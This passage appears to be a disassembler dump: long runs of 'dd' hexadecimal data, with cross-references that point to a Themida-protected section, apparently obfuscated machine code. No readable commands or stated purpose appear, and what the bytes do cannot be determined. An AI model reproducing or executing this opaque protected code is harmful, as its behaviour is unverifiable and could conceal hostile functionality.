5FFB8B00h, 9AD4BF96h, 0B5FF7F8Eh dd 60AA6A5h, 5DC6BEBBh, 0E91D680Dh, 890F05A1h, 14h, 0E8F0Fh dd 9E90000h, 0CE000000h, 58E050A7h, 70FD7444h, 0E2243481h dd 0B05BEEAh, 70525BDh, 0BD336006h, 6072271h, 10418D89h dd 8D610607h, 0AA6AD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0C5CDACD7h, 9C46C759h dd 0F50F9B7h, 0D80h, 56525000h, 0BF310F5Fh, 0DE79C8Ah dd 489585Ah, 195FF24h, 106071Dh, 714C595h, 6A6106h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0ADE4A1C3h, 0BD0923A1h, 6072089h, 2D0585C7h, 30607h dd 9D8B0000h, 6071FA5h, 0A6ADBD83h, 0F00060Ah, 4484h, 6E800h dd 210C0000h, 0F8B6042h, 68B0Fh, 0BD8B0000h, 6072D5Dh dd 42E95Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0DD71F0C3h, 1E3C9D7Eh, 8B666C0Bh dd 0C3050F9h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0F5BD8Bh, 7E90607h, 0C2000000h, 0B4CD35D1h dd 0F98BB6BCh, 2D05BD83h, 0F030607h, 3AF85h, 7BBB6600h dd 0ADBD838Dh, 60AA6h, 39E840Fh, 0A4BF0000h, 0FF161492h dd 0AA6ADB5h, 0B18D0906h, 8B060715h, 70681BDh, 3D95FF06h dd 0BF060704h, 4395C87Ah, 0A6A1B58Bh, 0BB56060Ah, 7F06B315h dd 106C75Bh, 96000100h, 0E950F98Bh, 0Ch, 416B5ED7h, 0BC78AC94h dd 90E9EC1Ah, 0EB816696h, 0B5FF9214h, 60AA6ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F6C35343h, 0AEFE9E1Bh dd 0E7ADFA6Dh, 95897FB3h, 6072765h, 58C0Fh, 81660000h dd 0FFCE46F7h, 71A5595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0D1754A99h, 4CB49D86h dd 8B666D3Dh, 0E38166D8h, 0B58BDF0Ah, 60AA6A1h, 1DF5BD8Bh dd 858B0607h, 6071389h, 13399529h, 89F90607h, 0C486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 89FF59CDh, 7066985h, 79958B06h, 6A060706h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0E81AC355h, 0FC63317h, 28Fh, 896FB700h, 704919Dh, 4C28306h dd 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D9C35141h, 5E92Fh dd 0DBF60000h, 0E9B5D754h, 6, 5CA6CA7Ah, 5089106Dh, 50006A20h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C768901h, 0B08FBDDCh, 11E9D8BFh, 73000000h, 3C6BEB92h dd 7328C0ACh, 7FA2FDDEh, 0E231A7A5h, 1B59BD8Bh, 858D0607h dd 60ABA1Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 4DC35646h, 0C6BF3E17h, 0DB81668Bh, 86893CFAh, 0B8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4AC35747h dd 46A30B33h, 9F296F60h, 71BD8B16h, 6A060712h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 7D551222h, 0A6ADB5FFh, 0CE9060Ah, 41000000h, 36ED7B78h dd 70937F60h, 0FF784DE8h, 71AF995h, 0F98B6606h, 24348950h dd 0B5FFD88Bh, 60AA6ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0A6C35242h, 95FF8318h, 6071529h, 0BD83D88Ah dd 60712A5h, 4F840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 208CC352h dd 6E996CAh, 0BE000000h, 0CDC6D70h, 8B665022h, 6A96FEh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 664792C3h, 0B5FFFA8Bh, 60AA6ADh, 15459529h, 95FF0607h dd 6070555h, 830Fh, 0B5FF0000h, 60AA6ADh, 6E960h, 0BA030000h dd 627AB98Bh, 0DFCB8166h, 8589616Dh, 6071239h, 1FF995FFh dd 8B660607h, 1DBD83DAh, 206071Fh, 4E840Fh, 0E3810000h dd 513197C9h, 6DD858Bh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 14622C3h, 89D08C80h dd 709F595h, 0C606h, 13E9h, 0AAFE8200h, 510386DFh db 3Ah, 0F3h word_544F42 dw 6526h ; DATA XREF: ___:off_4274E0o dd 3238D34Fh, 6DF2A97h, 269185C7h, 607h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0CE605FC3h, 0FFF407E9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 664D62E3h dd 0C18BDF8Bh, 28258589h, 0BD8B0607h, 6070CE1h, 785858Dh dd 8A900607h, 0D98B50DAh, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8B608DABh dd 70379BDh, 6860F06h, 89000000h, 70549B5h, 6A6106h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 81C35646h, 587CBF66h dd 81D5BB66h, 0BF66006Ah, 858D80BAh, 60BDC88h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 6AC35747h, 0E87DAA24h dd 0Dh, 0E5617ED9h, 4462B871h, 10BF38B6h, 295FF901h, 7269DB5h dd 5C08306h, 12A99D8Bh, 9D2B0607h, 60712A1h, 8E850h, 2F540000h dd 0EF81AD44h, 0E850CCF1h, 5, 220CDC6Dh, 5F5F5F69h, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 3F7CC351h, 28BCC6E6h, 51BD0960h, 0F060714h dd 288h, 61616000h, 1CDBD33h, 6A0607h, 1D359D8Bh, 6A0607h dd 21A99509h, 95FF0607h, 60704C1h, 0DFF78166h, 4F8D8D44h dd 6A060AA6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 1F7CC357h, 6AD1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 883A64C3h dd 0D108EAD0h, 0F78184A3h, 39F856BBh, 218DBD83h, 0F010607h dd 6985h, 49BD8B00h, 6A060704h, 0CAF38002h, 11E850h, 45E60000h dd 17134232h, 0EE78DEB4h, 5283F2DEh, 601CABB4h, 5E95A53h dd 7F000000h, 9A592E33h, 4895F61h, 0F995FF24h, 6A06071Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 924EC353h, 0CE9B8h, 8AE80000h, 4B634D95h dd 0DFD878D8h, 0D8E92164h, 0E800000Fh, 0 dd 92ED815Dh, 0E9060BDCh, 7, 83794AF5h, 6A62E163h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0D8CC356h, 79FC145Bh, 860F383Dh, 6, 0A8DBD8Bh, 858D0607h dd 60A9108h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 27C35242h, 2FCA9DD4h, 9D29F89Ah, 6070669h, 50DA8B90h dd 0F98B6660h, 3FDC5DB9h, 3190610Ch, 71E9995h, 35FF6406h dd 0 dd 36D1F781h, 89640FC8h, 25h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 6BB16FB8h dd 0B3F99F72h, 0F185FFCEh, 56060732h, 6AFF6A5Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0A4A6C351h, 0E97B07D1h, 0Fh, 0A17A3E58h, 0C9BBCD72h dd 0B57F3250h, 0FF9A895Dh, 71515B5h, 0A9858906h, 0FF060726h dd 71AC995h, 0FDE906h, 0BD8B0000h, 60705A5h, 0EF8100B0h dd 7C988711h, 816670E6h, 0E4C5CCD7h, 0F613C71h, 0DE83h dd 0FFC8A00h, 0F98BC8B6h, 6BAh, 0C53DBB00h, 0C18B2DCBh dd 0ACD0DF81h, 0E8C17B54h, 66FB8B04h, 8589E2F7h, 607168Dh dd 0C781C82Bh, 78A137CCh, 9D03D18Bh, 6071339h, 6E9h, 0E4D8D700h dd 0E978EE2Ah, 97h, 69958960h, 0F060732h, 688h, 398D8900h dd 61060713h, 4858Bh, 85890000h, 6070B79h, 6007C083h, 1CF98589h dd 0BF0F0607h, 0C08361F3h, 65B53100h, 3B06072Dh dword_545350 dd 12830FD0h, 29000000h, 73259BDh, 4DE906h, 89F90000h ; DATA XREF: ___:off_43BF7Co dd 726959Dh, 0FF8D8B06h, 80FFFFFFh, 0E183D6D7h, 34840F01h dd 3000000h, 70179BDh, 0FFA58306h, 0FEFFFFFFh, 89FBB70Fh dd 495h, 14E900h, 0F3C50000h, 679CE7BBh, 14697A36h, 0EA22BF7Ah dd 4C9D8E62h, 0E9FDB4h, 8D000000h, 0B5A23B5h, 6A006A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 6782C356h, 4FEF7F0Ch, 0CF81F0BDh, 2806AB11h dd 16B595FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 3C24A4C3h, 0C6B49F57h, 890AA1E2h dd 713999Dh, 0E4BB906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0E9BBEAC3h, 0Fh, 0B0CFAE30h dd 189AA37Fh, 0D540D147h, 66AE3FF4h, 0E183F98Bh, 4D9D8BFCh dd 0FC06070Eh, 6852BB66h, 0B8h, 0BA00h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 482E60C3h, 0CD8D892Ch, 0AD060712h, 0E8D1C233h, 0E983D003h dd 0BF47504h, 70101BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0BCE09465h, 3324F922h dd 9FD9D8Bh, 880D0607h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 257C353h dd 958B781Fh, 6070679h, 1225BD8Bh, 8B530607h, 70BDDBDh dd 8D8B5B06h, 6072CE5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0EBC35545h, 8B50C495h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 805B55BFh, 1D958917h, 8B06070Dh dd 701A5BDh, 0E5BD8306h, 60710h, 8E840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0E4CC7BC3h, 81F2442Eh, 0F9AD5C6h, 68Ch, 959D8B00h, 0E906070Eh dd 11h, 8D88BDD7h, 82657B30h, 0E5C9D663h, 6693D529h, 0B8ECh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 8B3C58C3h, 8B53A04Bh, 70B159Dh, 8D8D5F06h dd 6074E1Ch, 1418D89h, 0E1FF0607h, 0FD9D0160h, 6606071Ch dd 61E270BAh, 2D05BD83h, 0F000607h, 5A084h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 6B3423CFh, 5BB67977h, 0B509A627h, 6071FD5h, 0DF8B6653h dd 5BD835Fh, 106072Dh, 57E840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0C92D46C3h dd 0BE9h, 40ABA800h, 4DED302Fh, 0A506F7ABh, 28599529h dd 0BD830607h, 6072D05h, 7860F03h, 6A000005h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 122EC352h, 5715BC69h, 5E78EB81h, 605F2C8Ch, 3FBAF381h dd 8C665B74h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0F723A16h, 68Bh, 898D0900h, 8006072Eh dd 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0FF7DE7C3h, 30A050E7h, 0BD8BD974h, 607099Dh dd 840FC90Ah, 1EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 26C35545h, 858BBADEh, 6070629h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B2C35242h, 10E91Ah dd 41B50000h, 0DC6D70BEh, 0EC69220Ch, 9A8A7766h, 85330799h dd 6071E75h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 8CC35040h, 51838CA1h, 14E957h, 592F0000h, 35354969h dd 0E326C949h, 9AA01AC8h, 690231C7h, 5B5F4B8Ch, 14E850h dd 14370000h, 0CD82FB8h, 0A4240CFEh, 80345AEFh, 6A907979h dd 52506379h, 1EF4BB66h, 0BF66310Fh, 585A4A94h, 2404895Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B1C35545h dd 0B01536Dh, 0FDF22889h, 0DB589EEh, 31060730h, 712E98Dh dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 8BCBC357h, 7E80348h, 0CB000000h dd 6F0CFEEh, 0EE8FA58h, 49000000h, 60021E75h, 4F16274Bh dd 7A3E587Ah, 13E9A1h, 75DD0000h, 85BCF94Ah, 2400D289h dd 0CA2E7248h, 4F4BC92h, 8B5B5BB9h, 72629BDh, 4E806h, 3FF0000h dd 8B66001Fh, 6BBF50FBh, 8B319EC1h, 0F042444h, 283h dword_545868 dd 8BFA8A00h, 66525000h, 310FD98Bh, 585AD98Bh, 4244489h ; DATA XREF: Themida_:005160B4o dd 13E9h, 0D3ADAE00h, 0CF210316h, 57B86C0Dh, 0DEEF686Bh dd 0E5033A81h, 0EDBD8958h, 0FF060731h, 71D0195h, 8B606006h dd 0D2B70FD1h, 999D2961h, 6106072Bh, 0A6AD8589h, 6A060Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0D2A678C3h, 0C59B531h, 0BE90607h, 66000002h, 8BD0B0BFh dd 0AA6A585h, 899D8B06h, 0C706072Fh, 1800h, 16F78100h dd 2941EB24h, 70AD58Dh, 0A9B58B06h, 66060AA6h, 8B1670BFh dd 70C2185h, 0BDB58906h, 89060720h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0A406C4B8h dd 33624131h, 9D8B7823h, 6071ABDh, 629858Bh, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 50B991C3h, 0F8FB47C2h, 6A044689h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 712CC355h dd 96A173C1h, 50DA8B66h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0BE23F9FBh, 293429E2h dd 499FBFA6h, 0B5FF24DCh, 60AA6A5h, 0CE8h, 9853EE00h, 0C2E8FFD8h dd 0CF723B6Fh, 0CF816654h, 685F85D0h, 0B666093Ch, 3CDBB66h dd 0C3240481h, 6A49B8FAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0A38BC352h, 8B5117C6h dd 705D5BDh, 0AD858D06h, 6A060AA6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 96B0C357h dd 13E860h, 0A76A0000h, 0DA2B70CCh, 0F8014E77h, 70F745EDh dd 462994ACh, 5B5B531Eh, 59EB8166h, 8501609Dh, 6070589h dd 2E68166h, 0B79061EEh, 52505081h, 0FD8A5250h, 5E9310Fh dd 92000000h, 72B00C2Ah, 310F585Ah, 0A60B93BFh, 90585A73h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A7C35242h dd 6FDAB35Dh, 0F69D6C3h, 68Fh, 51958900h, 0FF060726h, 71D0195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0D79705A5h, 85B9CC1Eh, 21BD8950h, 5B06070Ah dd 1765BD89h, 6A610607h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 7B3DC355h, 0BE845930h dd 0DE8B66DDh, 2D0585C7h, 30607h, 840F0000h, 6, 0DD1BD23h dd 0BD830607h, 60AA6ADh, 3B840F00h, 29000000h, 72B71BDh dd 4BE906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0B14879C3h, 559D8BEEh, 60060708h dd 1B6DBD8Bh, 8B660607h, 305061F0h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0D38166C0h, 6AF9BFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 3DF62AC3h, 9B33DA9Fh, 0F608C6Bh, 688h, 0C9858900h, 0F06070Fh dd 187h, 8361F500h, 72D05BDh, 850F0306h, 512h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B1C35646h, 0AF4F7192h dd 0A6ADBD83h, 0F00060Ah, 4E584h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 309C82F4h dd 8B02E430h, 71E999Dh, 6870F06h, 89000000h, 725458Dh dd 0ADB5FF06h, 6A060AA6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0E5D6C352h, 54332D20h dd 11BB35AFh, 43D95FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0B58BCBC3h, 60AA6A1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0AFC35545h dd 8B502012h, 71AE9BDh, 106C706h, 6A000100h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 36C2C351h, 0FE8h, 0EC0A6E00h, 6157FEF9h, 7460457Ch dd 0C2147109h, 619D8Bh, 965F0607h, 10E96060h, 70000000h dd 3C0BCE20h, 0E4F1F7CCh, 0A2BC60FDh, 0B15DA888h, 606061C1h dd 4C9CBB61h, 61614585h, 0BD299650h, 6071EA9h, 0A6ADB5FFh dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0D586D9C3h, 0DEF1F1DAh, 0BD899313h, 607099Dh dd 5595FFFCh, 6A06071Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0ACCFC357h, 89809EE5h dd 7148D9Dh, 0A1B58B06h, 6A060AA6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E93CC353h dd 8B844FC0h, 7138985h, 718D8906h, 89060701h, 0C486h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0E8ED512h, 81167643h, 3A6F35DFh, 79958B05h, 6A060706h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0EBB1C352h, 8D895680h, 9D313827h, 6071BB5h dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 83E3C357h, 22FA2CDh, 81668087h dd 898A6AEFh, 7060195h, 20508906h, 0BA1F858Dh, 6A060Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 401018C3h, 0B185095Ah, 89060726h, 0B886h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 7E4D3EB5h, 2FC3D68Dh, 10E87Dh, 20980000h, 0CE2A4426h dd 7D5D012Dh, 0BCDFE0ADh, 63BF5533h, 5B59D96Fh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 762138C3h, 11E97774h, 0D3000000h, 0CA6EAAD7h, 877283D2h dd 0D792A7B0h, 3AE90633h, 6850Fh, 9D8B0000h, 6072695h dd 0A6ADB5FFh, 9D29060Ah, 6071A61h, 1AF995FFh, 50F80607h dd 0BA525060h, 1B918125h, 0D08A310Fh, 0AE9585Ah, 7B000000h dd 0AAB7AEE8h, 2DEFE4Eh, 348961A0h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E9555742h dd 0Ah, 0C0DA3AAEh, 0FC026216h, 0B5FFBC2Fh, 60AA6ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 65C35343h, 0FD9CCBEh dd 68Fh, 959D2900h, 0FF060703h, 7152995h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0BA9230EEh, 0BD83F964h, 60712A5h, 21840F00h, 66000000h dd 5073C5BFh, 0CE8h, 70B07A00h, 80F9C0Fh, 0E54DAF5Ch, 36B6BF15h dd 895F417Bh, 0DD8A2434h, 0A6ADB5FFh, 6A060Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 47C710C3h, 0F4B28126h, 0FF57A862h, 7055595h, 81B53106h dd 0FF060720h, 0AA6ADB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0FD928577h dd 28A0F4Eh, 0F382C381h, 9D8B64ACh, 60711FDh, 1FF995FFh dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0FDA791C3h, 1DBD8371h, 206071Fh, 61840Fh dd 0F7810000h, 0E58CEF3h, 6DD858Bh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 490F3C3h dd 0ECC100D5h, 9D8B1E7Eh, 6070959h, 6A0000C6h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 158CC357h, 0A365EB81h, 8B665EFBh, 0C75F52D9h, 7269185h dd 6, 9D296000h, 6071E35h, 42E961F9h, 6AFFFFF1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0E6B2C352h, 0BF664993h, 0B5892442h, 6073209h, 6AC18Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 62301EC3h, 1A79134Ch, 8D02A887h, 7078585h, 0CE906h dd 0BF7D0000h, 3923BCFh, 950135FDh, 0E8502D92h, 6, 81D56711h dd 5250B047h, 5250310Fh, 585A310Fh, 895B585Ah, 95892404h dd 6071CA1h, 0CE9006Ah, 0E6000000h, 0F291507Eh, 6B6B980Ch dd 6A439FBCh, 6890F00h, 8B000000h, 70E5DBDh, 0D8B70F06h dd 0EE78858Dh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 8BEC9CC3h, 0C083DD1Bh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 3478F440h, 0AA4322EEh, 85896022h, 60713A1h, 8A0F5061h dd 4, 575DBB66h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E9CEC357h, 7, 0A1DDB2A0h dd 8B758173h, 0E8006AF9h, 0Fh, 0EA0EB722h, 0E913FCA6h dd 0F03C6F4Dh, 5B425C6Dh, 0B70F006Ah, 0C195FFFEh, 0E9060704h dd 0Dh, 64DB6648h, 0BA06E25Dh, 0FFCD0E30h, 1DBD8BB7h, 8D060732h dd 0AA64F8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 4D421C55h, 5E8h, 13042600h, 0BD29EA51h dd 60728D5h, 68DF815Fh, 0FF1D6DD9h, 50006AD1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 51921F1Ch dd 0BD835FF8h, 607218Dh, 83850F01h, 8B000000h, 720A9BDh dd 6A026A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 2B4BC357h, 6883D037h, 0E994B317h dd 7, 0CAB74ED5h, 90639771h, 9FBDBB66h, 95899050h, 6072255h dd 1AF995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 9CD1CBC3h, 0CA593E29h, 0E9ED83C3h dd 0Eh, 600BB2CEh, 5A9722FAh, 0B85E928Ch, 64E97649h, 0E800000Ch dd 0 dd 82ED815Dh, 66060BEEh, 0FA533BFh, 683h, 41BD8B00h, 8D060716h dd 0A910885h, 7991BF06h, 665065FDh, 489F88Bh, 58D0924h dd 6606070Ah, 640FA5BBh, 35FFh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B7FC2AC3h dd 916AF8B8h, 8964B684h, 25h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0D6E94A85h dd 10E99D33h, 0BD230607h, 6072C41h, 32F185FFh, 0AE90607h dd 0BC000000h, 24DC85E1h, 0B9092CF4h, 0B7FF6A18h, 0F8CF813Fh dd 0FF0F82BBh, 711E5B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0FFF5C0FCh, 71AC995h dd 15EE906h, 0BD890000h, 607260Dh, 8E8h, 13E51B00h, 0BF674B20h dd 799D0B09h, 5F06071Eh, 0E6F800B0h, 7DBD8B70h, 0E4060702h dd 0AE971h, 725A0000h, 7769AF18h, 8BC15997h, 830F613Ch dd 120h, 3DBD2957h, 5F060725h, 0FC8B60Fh, 0A86h, 5E900h dd 0C5760000h, 0BA629C74h, 6, 15918589h, 0C18B0607h, 28E0Fh dd 0C3B30000h, 6604E8C1h, 0FA002BBh, 381h, 0F88B6600h dd 9E2F766h, 7086D95h, 0FC82B06h, 8BF5FAB7h, 0DBD01D1h dd 0E906072Ch, 0C4h, 10E8h, 0EA18C700h, 0ADD61F80h, 9146B24Bh dd 4B0DFCA8h, 5FF88A52h, 4C44858Bh, 0BB665F4Ch, 880F187Ah dd 9, 66616060h, 46F5D881h, 7C08361h, 21518D89h, 0C0830607h dd 6880F00h, 8B000000h, 71581BDh, 0FD03B06h, 2C83h, 6DE9FC00h dd 0E9000000h, 12h, 4D70DE3Ch, 4D371E90h, 0A7C15D7Dh, 308C602Dh dd 0AE90CC0h, 31000000h, 319673E0h, 7B367623h, 0FF8D8B33h dd 0E9FFFFFFh, 6, 8368AFh, 0E18321AFh, 2D840F01h, 66000000h dd 0A583DF8Bh, 0FFFFFFFFh, 0CE9FEh, 93CF0000h, 5AC06E80h dd 3BEDFE4Fh, 958997F8h, 5F4C4C44h, 18F0Fh, 0E9F90000h dd 0 dd 686EB58Dh, 9D31060Bh, 607026Dh, 8166006Ah, 0FF3B0DE7h dd 716B595h, 10B9F906h, 8B000010h, 71CA5BDh, 0FCE18306h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0D6C35040h dd 8DC10376h, 0BD89FC6Fh, 6072815h, 0B99589FCh, 0B806072Fh dd 0 dd 0FAD9D8Bh, 0D22B0607h, 1CA5B589h, 33AD0607h, 3E8D1C2h dd 4E983D0h, 0BD89F475h, 6072839h, 880DF8h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BE8E8C3h, 75000000h, 0CCD7D5h, 8AAC5E5Eh, 0BD8B5021h dd 60700D1h, 8B63B75Bh, 7067995h, 0FE806h, 97E80000h, 0FFD95B40h dd 86E56423h, 969CE869h, 0F59D89B4h, 5B060726h, 2CE58D8Bh dd 0BD8B0607h, 60700A5h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0B1BAC1C3h, 0D6E98160h, 290CA5AAh dd 70821B5h, 0BD836106h, 60710E5h, 64840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0E902C352h, 0B8h, 0EE900h, 0D2CC0000h, 10B764E5h dd 0E55C9E49h, 0E3D3A80Eh, 4E1C8D8Dh, 6A0607h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 9FCFE3C3h, 0FF9F6B7Ch, 0ADBD09E1h, 83060702h, 72D05BDh dd 840F0006h, 3E5h, 0CA86DF81h, 0BD836738h, 6072D05h, 0ED840F01h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 